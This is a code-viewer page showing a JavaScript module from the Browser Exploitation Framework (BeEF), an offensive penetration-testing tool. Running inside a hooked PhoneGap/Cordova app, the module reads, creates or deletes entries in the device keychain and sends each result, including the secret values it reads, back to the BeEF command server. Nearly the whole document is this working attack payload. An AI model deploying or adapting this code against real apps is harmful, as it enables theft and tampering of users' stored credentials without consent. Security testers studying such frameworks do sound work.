Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/phonegap/phonegap_keychain/command.js
1154 views
1
//
2
// Copyright (c) 2006-2025 Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
// Phonegap_keychain
8
//
9
beef.execute(function() {
10
var servicename = "<%== @servicename %>";
11
var key = "<%== @key %>";
12
var value = "<%== @value %>";
13
var action = "<%== @action %>";
14
var result = '';
15
var kc = '';
16
17
try {
18
kc = cordova.require("cordova/plugin/keychain");
19
} catch (err) {
20
result = 'Unable to access keychain plugin';
21
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result='+result );
22
}
23
24
function onGet()
25
{
26
var win = function(value) {
27
result = result + "GET SUCCESS - Key: " + key + " Value: " + value;
28
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result='+result );
29
30
};
31
var fail = function(error) {
32
result = result + "GET FAIL - Key: " + key + " Error: " + error;
33
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result='+result );
34
};
35
36
kc.getForKey(win, fail, key, servicename);
37
38
}
39
40
function onSet()
41
{
42
var win = function() {
43
result = result + "SET SUCCESS - Key: " + key;
44
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result='+result );
45
};
46
var fail = function(error) {
47
result = result + "SET FAIL - Key: " + key + " Error: " + error;
48
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result='+result );
49
};
50
51
kc.setForKey(win, fail, key, servicename, value);
52
}
53
54
function onRemove()
55
{
56
var win = function() {
57
result = result + "REMOVE SUCCESS - Key: " + key;
58
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result='+result );
59
};
60
var fail = function(error) {
61
result = result + "REMOVE FAIL - Key: " + key + " Error: " + error;
62
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result='+result );
63
};
64
65
kc.removeForKey(win, fail, key, servicename);
66
}
67
68
if (kc !== undefined) {
69
switch(action) {
70
case 'Read':
71
onGet();
72
break;
73
case 'CreateUpdate':
74
onSet();
75
break;
76
case 'Delete':
77
onRemove();
78
break;
79
}
80
}
81
82
});
83
84